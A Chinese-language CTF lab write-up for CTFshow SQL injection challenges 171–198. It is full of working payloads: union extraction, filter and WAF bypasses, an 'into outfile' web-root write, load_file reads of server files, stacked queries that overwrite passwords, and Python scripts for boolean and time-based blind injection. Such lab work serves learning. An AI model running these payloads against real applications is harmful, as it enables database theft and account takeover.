CTFshow web入门 SQL注入(171-200)
几乎是看着wp边做边学的
web171
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
AI给的答案:
拼接’闭合语句 由于SQL 中逻辑运算符的优先级为:NOT > AND > OR 在id后面补充
1' OR '1'='1
修改后等价于
WHERE (username != 'flag' AND id = '1') OR ('1' = '1')
使where语句永真,绕过限制
先单引号尝试一下,报错了

加上--+
--是Mysql的单行注释符,+不对查询有影响,只是增大注入成功的概率,--可能被屏蔽
闭合之后成功了
接着确定字段数
id=1' ORDER BY 3 --+
3可以,4报错,所以一共有三个字段

查询数据库名和其他信息
id=1' union select 1,2,database()--+

0' union select database(),user(),version()--+

查询表名
0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+
我看别的佬都是一个表,应该是靶场的原因,我开的是172的靶场,做的171的题,所以有两个表

查询列名
1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

查询数据
第一题的答案在ctfshow_web,第二题在ctfshow_web2
0' union select id,username,password from ctfshow_user.ctfshow_user2--+
web172
同理
flag在ctfshow_web2表里
web173

关注逻辑,已知password列里面没有flag
1' union select 1,2,group_concat('+',password) from ctfshow_user3 where username='flag'--+

一般思路,base64编码、Hex
1' union select 1,2,to_base64(password) from ctfshow_user3 where username='flag'--+
-1' union select 1,to_base64(username),hex(password) from ctfshow_user3 --+


web174

只有两列有回显,而且不输出数字




查询的语句里也不能出现数字,因为返回时会被屏蔽掉

0' union select group_concat(table_name),'a' from information_schema.tables where table_schema=database()--+
1' union select 'a',group_concat(table_name) from information_schema.tables where table_schema=database() --+
因此表明按规律来有4,所以无数据

思路一:替换数字为A,B...,嵌套10个repalce()
猜测答案在password,则
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

再换回去
不会Python,C++写了一个

招笑
#include<iostream>
using namespace std;
int main()
{
string a;
a="ctfshow{DeGcAdEJ-cFBF-DAaC-IHFH-eJAeAdCbHffd}";
for(int i=0;i<a.size();i++)
if(a[i]>='A' && a[i]<='Z')
a[i]=(int)a[i]-(int)'A'+'0';
cout<<a;
return 0;
}
思路二:布尔盲注
注意要将路径改为/api/v4.php ,原本的路径无法正常返回response(为什么?)
根据大佬的思路,去抓包发现访问的是/api/v4.php这个东东(可恶)
import requests
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'),{},1))>{},'cluster','boom') %23"
url = "http://1a4ab30a-cae4-439b-bbde-dddb10c3e851.challenge.ctf.show/api/v4.php?id="
def test_chr(index: int, offset: int):
response = requests.get(url + payload.format(index, offset))
#print(response.text)
assert "cluster" in response.text or "boom" in response.text
if "cluster" in response.text:
return True
elif "boom" in response.text:
return False
index = 1
flag = ""
while True:
start = 32
end = 127
while True:
if abs(start-end) == 1 or start == end:
break
point = (start + end) // 2
if test_chr(index, point):
start = point
else:
end = point
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
index += 1
web 175
所有ascii字符都被屏蔽了0~127

无回显
思路一:读写文件
利用读写文件写入网站根目录
https://f3147ef0-e817-452d-981b-bbd97c30049d.challenge.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问https://f3147ef0-e817-452d-981b-bbd97c30049d.challenge.ctf.show/1.txt

思路二:时间盲注
测试
1' and if(1=1,sleep(3),1)--+&page=1&limit=10 后面是控制返回数据,防止截断
这里Y神已经知道是第24排的内容,根据之前的题目猜测在最后一排
# @Author:Y4tacker
import requests
url = "http://ba76949e-7eb1-43c8-9627-e4bec656336d.challenge.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)

web 176
思路一:万能注入秒了
1' or 1=1 --+
思路二:大小写过滤
先试一下
1' union select 1,2,database()
过滤了,改个大小写
1' Union Select 1,2,database()
出了,直接看flag
1' Union Select 1,2,password from ctfshow_user --+
web 177
空格绕过,--+用不了
改成/**/注释绕过和%23
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23
web178
过滤空格和*,使用%09tab水平制表符,%0c也行
1'%09Union%09Select%091,2,password%09from%09ctfshow_user%23

万能密码也能出,就是用字符‘1’
1'or'1'='1'%23
web 179
万能密码出
1'or'1'='1'%23
过滤了空格和*,%09和其他都过滤了,%0c换页符能行
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180-182
思路一:注释被绕过,但是--%0c还可以 (web180可以)
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c
思路二:不要注释,直接输出第26
-1'or(id=26)and'1'='1
web183
猜测表名是ctfshow_user

返回了

只有一个返回,可以利用这个进行盲注,pass是列名,题目已知
代码隐含假设只需破解单条记录的 pass字段
import requests
import re
url="http://5797c4b4-1d5d-454c-824f-892cf8dc6869.challenge.ctf.show/select-waf.php"
str="abcdefghijklmnopqrstuvwxyz-1234567890{}"
re=""
print(123)
for i in range(1,46):
for j in str:
data={
'tableName':f"`ctfshow_user`where(substr(`pass`,{i},1)regexp('{j}'))"
}
r=requests.post(url=url,data=data).text
if r.find(" $user_count = 1;")>0:
re=re+j
print(re)
break
出来的不是规范ctfshow{}的flag,不知道对不对
web184

把单引号双引号都过滤了,但是空格没过滤,也没办法进行盲注,看Y4tacker用right join on绕过
SQL RIGHT JOIN 关键字 | 菜鸟教程
RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。
我觉得挺奇怪的,不知道为什么是$user_count=43,于是找到另一个脚本。利用having和Like的模糊匹配,能跑通,注意使用http
import requests
import re
url="http://90de8628-b42a-46dd-a23e-24f31e236581.challenge.ctf.show/select-waf.php"
letter="abcdefghijklmnopqrstuvwxyz-1234567890{}"
flag=""
c=""
d=""
for i in range(1,100):
for k in letter:
d=hex(ord(k))[2:]
data={
'tableName':"ctfshow_user group by pass having pass like 0x63746673686f77{}25".format(flag+d)
}
r=requests.post(url,data=data)
if " $user_count = 1;" in r.text:
c=c+k
flag+=d
print(c)
break

web185-186
这里贴一张Y神给的图,里面表示的是mysql中利用函数绕过数字的技巧

本题中绕过了数字,在匹配的时候输入的字符不能含有这么一堆
对比之前检查结果是否有flag和数字(利用replace,或者盲注)

这里使用true在sql里表示1,写自动化脚本来将数字转化为n个true相加,如果数字没被过滤,字母被过滤了,可以使用ord(),自动转化为Ascii码
@Author 莲包ovo of
import requests
import re
def createNum(n):#n个true相加的字符串
str=''
for i in range(1,n+1):
if(i==1):
str+="true"
else:
str+="+true"
return str
def creatStr(str):#转换成(chr(),chr()...)的形式
res=""
for i in range(1,len(str)+1):
temp=ord(str[i-1])
if(i==1):
res="chr("+createNum(temp)+")"
else:
res+=","+"chr("+createNum(temp)+")"
return res
url="http://4d265717-a2c9-4e38-b911-edfec942b78c.challenge.ctf.show/select-waf.php"
letter="abcdefghijklmnopqrstuvwxyz-1234567890{}"
flag="ctfshow{"
for i in range(50):
for ch in letter:
result=creatStr(flag+ch)
data={
'tableName':"ctfshow_user group by pass having pass regexp(concat({}))".format(result)
}
response=requests.post(url,data=data)
if "$user_count = 1;" in response.text:
flag+=ch
print(flag)
break
ctfshow{51fe3c8f-15d5-4b47-a997-b0d820d34e1c}
web 187
username就是admin不用管
$password = md5($_POST['password'],true);
要对password进行md5加密,返回的是原始二进制数据
password=md5($pass,true)绕过、弱类型、MD5强碰撞_select * from 'admin' where password=md5($pass,tru-CSDN博客这个师傅讲的特别清楚了
在password=ffifdyop时,MD5之后转换为16进制数据
由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是' or '6
MD5加密 276F722736C95D99E921722CF9ED621C
16位原始二进制格式 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string 'or’6]!r,b
在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true
所以这里使用的sql语句可以化简为
select * from 'admin' where password='or 6
用Bp抓包

web 188
PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客
username=0 password=0 就出flag
说明数据库存在 username=0且 pass=0的记录:查询结果返回 pass=0,与 intval(0)=0匹配,触发 flag
web 189
发现当username!=0 时且为纯数字是,无论密码是什么都是查询失败;当username=0时,密码是啥都是密码错误
先判断出flag的位置,再盲注出答案
# Author:Y4tacker
import requests
url = "http://cfd0b291-6e24-47ee-b1f9-fb0ddcffa185.challenge.ctf.show/api/"
# data = {
# 'username': "if(locate('flag{',"+"load_file('/var/www/html/api/index.php'))>6,0,1)",
# 'password': '1'
# }
# r = requests.post(url, data=data)
# print(r.json()['msg'])
def getFlagIndex():
head = 1
tail = 300
while head < tail:
mid = (head + tail) >> 1
data = {
'username': "if(locate('ctfshow{'," + "load_file('/var/www/html/api/index.php'))>{0},0,1)".format(str(mid)),
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
head = mid + 1
else:
tail = mid
return mid
def getFlag(num):
i = int(num)
result = ""
while 1:
head = 32
tail = 127
i = i + 1
while head < tail:
mid = (head + tail) >> 1
data = {
'username': "if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(str(i),str(mid)),
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
print(result)
else:
break
if __name__ == '__main__':
index = getFlagIndex()
getFlag(index)
web 190
select语句当做参数时要加括号,从i=1开始查,否则会直接退出
数据库名:ctfshow_web
表名:ctfshow_fl0g,ctfshow_user
查列名:id,f1ag
查数据:ctfshow{f32bda26-eab1-4b1c-b89b-283795cfe935}
import requests
url="http://a011a243-4b3d-49cd-b38d-edea45e5302f.challenge.ctf.show/api/"
result=""
for i in range(1,50):
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
#payload="select database()"
#payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
#payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
payload="select group_concat(f1ag) from ctfshow_fl0g"
data={
'username':f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)='1'#",
'password':"1"
}
r=requests.post(url=url,data=data)
# print(head,tail,mid)
# print(r.json())
if "密码错误"==r.json()['msg']:
head=mid+1
else:
tail=mid
if head!=32:
result+=chr(head)
else :
break
print(result)
web191
过滤了acsii,用ord()
脚本同上
web 192
使用正则表达式
import requests
import re
url="http://88c2b3ff-b903-4d2b-86bc-d1499fd7770f.challenge.ctf.show/api/"
result=""
letters = "0123456789abcdefghijklmnopqrstuvwxyz_-{}"
for i in range(1,50):
for j in letters:
#payload="select database()"
# payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
# payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
payload="select group_concat(f1ag) from ctfshow_fl0g"
data={
'username':f"admin' and if(substr(({payload}),{i},1)regexp('{j}'),1,0)='1'#",
'password':"1"
}
r=requests.post(url=url,data=data)
# print(head,tail,mid)
# print(head,tail,mid)
# print(r.json())
if r.json()["msg"]=="密码错误":
result+=j
print(result)
web 193
表名改了一下
import requests
import re
url="http://0076d613-81b9-43a3-82ec-4b66bf4149ca.challenge.ctf.show/api/"
result=""
letters = "0123456789abcdefghijklmnopqrstuvwxyz_-{}"
for i in range(1,50):
for j in letters:
# payload="select database()"
# payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
# payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg'"
payload="select group_concat(f1ag) from ctfshow_flxg"
data={
'username':f"admin' and if(mid(({payload}),{i},1)regexp('{j}'),1,0)='1'#",
'password':"1"
}
r=requests.post(url=url,data=data)
# print(head,tail,mid)
# print(head,tail,mid)
# print(r.json())
if r.json()["msg"]=="密码错误":
result+=j
print(result)
web 194
能直接白嫖193的代码
也是可以使用locate
堆叠注入
web 195
这里没有单引号包括
Y4大佬做法如下
payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"#输入两次,第一次触发修改
#至于为什么非得用十六进制登录,是因为下面这个没有字符串单引号包围
sql = "select pass from ctfshow_user where username = {$username};";
VS

可以观察到这里图中含有单引号包围
如果 $username没有被单引号包围,会将将变量值作为标识符或表达式处理
- 例如,如果
$username = "admin",实际执行的SQL为:select pass from ctfshow_user where username = admin;

web 196
实际执行
select pass from ctfshow_user where username =0;select(1);
很奇怪这里的语法,求教
web 197-198

该题就是使返回值与密码一致。表中为空,所以执行后一句语句可能返回会表名
1;show tables
or用insert
username 0' insert ctfshow_user(`username`,`pass`) value(1,2)
password 123
再输入用户名为1,密码为2
@Author:Y4tacker
......1;show tables ctfshow_user 秒杀190-200


浙公网安备 33010602011771号